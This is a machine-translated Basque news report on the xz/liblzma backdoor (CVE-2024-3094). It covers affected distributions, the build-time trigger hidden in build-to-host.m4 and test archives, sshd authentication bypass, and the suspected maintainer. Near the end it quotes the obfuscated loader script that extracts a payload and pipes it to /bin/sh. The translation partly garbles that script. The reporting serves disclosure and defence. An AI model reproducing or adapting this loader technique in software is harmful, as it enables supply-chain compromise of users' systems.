xz/liblzma liburutegian sshd bidez sartzea ahalbidetzen duen atzeko ate bat aurkitu da

XZ Utils paketean, liblzma liburutegia eta datu konprimituekin ".xz" formatuan lan egiteko utilitateak biltzen dituena, lotutako aplikazioek prozesatutako datuak atzematea eta aldatzea ahalbidetzen duen atzeko ate bat (CVE-2024-3094) identifikatu da. liblzma liburutegiarekin. Atzeko atearen helburu nagusia OpenSSH zerbitzaria da, banaketa batzuetan libsystemd liburutegiarekin batera doana, eta horrek liblzma erabiltzen du. Sshd liburutegi zaurgarri batekin lotzeak erasotzaileek SSH zerbitzarirako sarbidea autentifikatu gabe lor dezakete.

Atzeko atea otsailaren 5.6.0an eta martxoaren 5.6.1an argitaratutako 24 eta 9 bertsio ofizialetan zegoen, banaketa eta biltegi batzuetan sartzea lortu zutenak, adibidez, Gentoo, Arch Linux, Debian sid/unstable, Fedora Rawhide eta 40-beta, openSUSE fabrika eta tumbleweed, LibreELEC, Alpine edge, Solus, NixOS ezegonkorra, OpenIndiana, OpenMandriva rolling, pkgsrc current, Slackware current, Manjaro testing. xz 5.6.0 eta 5.6.1 bertsioen erabiltzaile guztiei 5.4.6 bertsiora itzultzea gomendatzen zaie.

Arazoa arintzen duten faktoreen artean, azpimarratzekoa da atzeko atea duen liblzma-ren bertsioak ez zuela lortu banaketa handien bertsio egonkorren parte izatera, baizik eta openSUSE Tumbleweed eta Fedora 40-beta eragin zituela. Arch Linux-ek eta Gentoo-k zx-en bertsio zaurgarria erabili zuten, baina ez dira erasoak jasan, systemd-notify adabakia ez diotelako aplikatzen openssh-ri, eta horrek sshd liblzma-rekin lotzen du. Atzeko ateak Linux nukleoan eta Glibc C liburutegian oinarritutako x86_64 sistemei soilik eragiten die.

Atzeko ateko aktibazio kodea m4 makroetan ezkutatu zen eraikitzeko orduan automake toolkit-ak erabilitako build-to-host.m4 fitxategitik. Muntaian, artxiboetan (bad-3-corrupt_lzma2.xz, good-large_compressed.lzma), funtzionamenduaren zuzentasuna probatzeko erabilitako artxiboetan oinarritutako lausotutako eragiketa korapilatsuen exekuzioan zehar, kode gaiztoa duen objektu-fitxategi bat sortu zen, eta bertan sartu zen. liblzma liburutegia eta funtzionamendu-logika aldatu zituen bere funtzio batzuk. Atzeko atea aktibatzen duten m4 makroak oharra tarballetan sartu ziren, baina ez zeuden Git biltegian. Aldi berean, biltegian proba-artxibo gaiztoak zeuden, hau da. atzeko atea inplementatu zuen pertsonak biltegira eta oharra sortzeko prozesuetarako sarbidea zuen.

Aplikazioetan liblzma erabiltzean, aldaketa gaiztoak erabil daitezke datuak atzemateko edo aldatzeko, edo sshd-ren funtzionamenduari eragiteko. Bereziki, kode gaiztoak RSA_public_decrypt funtzioa faltsutu zuen sshd autentifikazio-prozesua saihesteko. Atzeko ateak detektatzeko babesa barne hartzen zuen eta ez zen LANG eta TERM ingurune-aldagaiak ezarri zirenean (hau da, prozesua terminalean exekutatzen zirenean) eta LD_DEBUG eta LD_PROFILE ingurune-aldagaiak ezarri ez zirenean, eta exekutatzen zenean bakarrik aktibatu zen. /usr/sbin/sshd fitxategi exekutagarria . Atzeko ateak arazketa-inguruneetan exekuzioa detektatzeko baliabidea ere bazuen.

Bereziki, m4/build-to-host.m4 fitxategiak gl_am_configmake=`grep -aErls erabili zuen "#{4}[[:alnum:]]{5}#{4}$" $srcdir/ 2>/dev / null` … gl_[$1]_config='sed \Β»r\n\Β» $gl_am_configmake | eval $gl_path_map | $gl_[$1]_aurrizkia -d 2>/dev/null'

Lehenengo eraikuntzan, grep eragiketak tests/files/bad-3-corrupt_lzma2.xz fitxategia aurkitu zuen, eta horrek, deskonprimitzean, script-a sortu zuen: ####Kaixo#### #345U211267$^D330^W [ ! $(uname) = "Linux" ] && irten 0 [ ! $(uname) = "Linux" ] && irten 0 [ ! $(uname) = "Linux" ] && irten 0 [ ! $(uname) = "Linux" ] && irten 0 [ ! $(uname) = "Linux" ] && irten 0 eval `grep ^srcdir= config.status` test -f ../../config.status; gero eval `grep ^srcdir= ../../config .status` srcdir="../../$srcdirΒ» fi export i=Β»((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/ null) && burua -c +2048 && (burua -c +1024 >/dev/null) && burua -c +2048 && (burua -c +1024 >/dev/null) && burua -c +2048 && (burua - c +1024 >/dev/null) && burua -c +2048 && (burua -c +1024 >/dev/null) && burua -c +2048 && (burua -c +1024 >/dev/null) && burua - c +2048 && (burua -c +1024 >/dev/null) && burua -c +2048 && (burua -c +1024 >/dev/null) && burua -c +2048 && (burua -c +1024 >/ dev/null) && burua -c +2048 && (burua -c +1024 >/dev/null) && burua -c +2048 && (burua -c +1024 >/dev/null) && burua -c +2048 && ( burua -c +1024 >/dev/null) && burua -c +2048 && (burua -c +1024 >/dev/null) && burua -c +2048 && (burua -c +1024 >/dev/null) && burua -c +2048 && (burua -c +1024 >/dev/null) && burua -c +2048 && (burua -c +1024 >/dev/null) && burua -c +939)";(xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31233|tr "\114-\321\322-\377\35-\47\14-\34\0-\13 \50-\113" "\0-\377")|xz -F raw β€”lzma1 -dc|/bin/sh ####Mundua####

Erasotzaileek xz proiektuaren azpiegiturarako sarbidea nola lortu zuten oraindik ez da guztiz argitu. Oraindik ez dago argi zenbat erabiltzaile eta proiektu arriskuan jarri ziren atzeko atearen ondorioz. Atzeko atearen ustezko egileak (JiaT75 - Jia Tan), biltegian kode gaiztoa zuten artxiboak argitaratu zituena, Fedora garatzaileekin harremana izan zuen eta Debian-i banaketak xz 5.6.0 adarrera igarotzearekin lotutako tira-eskaerak bidali zituen, eta ez zuen egin. susmoa piztu, xz-en parte hartu zuenez azken bi urteotan garatzen ari da eta bigarren garatzailea da egindako aldaketa kopuruari dagokionez. xz proiektuaz gain, backdoor-aren ustezko egileak xz-java eta xz-kapsulatutako paketeen garapenean ere parte hartu zuen. Gainera, Jia Tan duela egun batzuk Linux kernelean erabiltzen den XZ Embedded proiektuaren mantentzaileen kopuruan sartu zen.

Aldaketa gaiztoa PUZaren gehiegizko kontsumoa eta valgrindek sortutako akatsak aztertu ondoren aurkitu zen ssh bidez Debian sid-en oinarritutako sistemetara konektatzean. Azpimarratzekoa da xz 5.6.1 bertsioan atzeko atearen ustezko egileak sshd moteltze eta hutsegiteei buruzko kexei erantzuteko atzeko atearen ustezko egileek atzeko atearekin zx 5.6.0 bertsiora eguneratu ondoren sortutako kexei erantzunez. Gainera, iaz Jia Tan-ek "-fsanitize=address" ikuskatzeko moduarekin bateraezinak ziren aldaketak egin zituen, eta horrek desgaitu egin zuen fuzz-probetan.

Iturria: opennet.ru

Gehitu iruzkin berria